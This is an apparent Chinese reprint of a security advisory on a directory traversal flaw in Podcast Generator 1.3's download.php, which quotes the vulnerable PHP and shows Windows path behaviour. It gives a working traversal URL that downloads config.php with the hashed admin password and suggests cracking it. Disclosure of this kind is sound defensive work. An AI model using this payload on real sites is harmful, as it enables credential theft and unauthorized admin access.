Podcast Generator download.php脚本目录遍历漏洞

受影响系统:

Alberto Betella Podcast Generator <= 1.3

描述:

Podcast Generator是用PHP编写的免费播客发布脚本。

Podcast Generator的download.php脚本中存在目录遍历漏洞。在25-27行:

——————————————————-
25. $filename = $_GET[‘filename’];
26.
27. $filename = eregi_replace("/", "", $filename);
——————————————————-

PHP会剥离掉文件名变量中的斜线,但在Windows下仍可使用反斜线(\)。问题在于:

——————————————————-
33. if (file_exists("$filename_path") ) { // check real existence of the file. A void possible cross-site scripting attacks
34.
35.

$file_media = explode(".",$filename); //divide filename from extension
36.
37.
$fileData = checkFileType($file_media[1],$podcast_filetypes,$filemimetypes);
——————————————————-

如果文件真实存在,则33行不会出现任何问题。但在37行调用了checkFileType:

——————————————————-
15. function checkFileType ($filetype,$podcast_filetypes,$filemimetypes) {
16. $i=0;
17. $bool=false;
18. $fileData = array();
19.
20. while (($i < sizeof($podcast_filetypes)) && $bool==false) {
21. if ($filetype==$podcast_filetypes[$i]) {
22. $fileData[0]=$podcast_filetypes[$i];
23. $fileData[1]=$filemimetypes[$i];
24. $bool=true;
25.  }
26. $i+=1;
27. }
28. return $fileData;
29.}
——————————————————-

这段代码用于检查第一个句号后的字符串是否处于支持媒体的列表中。在访问嵌套目录时没有检查所提供的目录名是否存在,只是检查结果结果为true还是false。例如,命令列表:

——————————————————-

Z:\media\AA845DA3845D72B5>mkdir tmp
Z:\media\AA845DA3845D72B5>cd tmp
Z:\media\AA845DA3845D72B5\tmp>dir
Il volume nell’unit&Atilde;&#128; Z non ha etichetta.
Numero di serie del volume:0000-0000
Directory di Z:\media\AA845DA3845D72B5\tmp
09/03/2010 13.33
<DIR>
.
09/03/2010 13.33
<DIR>
..
0 File
0 byte
2 Directory
299.372.544 byte disponibili
Z:\media\AA845DA3845D72B5\tmp>
——————————————————-

因此,新目录为空,但是:

——————————————————-
Z:\media\AA845DA3845D72B5\tmp>cd donno\wanna\write\..\..\..\..\
Z:\media\AA845DA3845D72B5>
——————————————————-

Windowns没有返回错误,而是回到上一级目录。使用类似于以下的url:
http://www.example.com/podcastgen/download.php?filename=.mp3.\..\..\config.php

就可以下载包含有哈希加密管理口令的配置文件,之后破解该文件就可以获得管理访问。

<*来源:BlackHawk
  
  链接:
http://secunia.com/advisories/40467/
        http://www.scribd.com/doc/28080332/Podcast-Generator-1-3-Arbitrary-File-Download-Windows
*>

建议:

厂商补丁:

Alberto Betella
—————
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://podcastgen.sourceforge.net/

发表评论?

0 条评论。

发表评论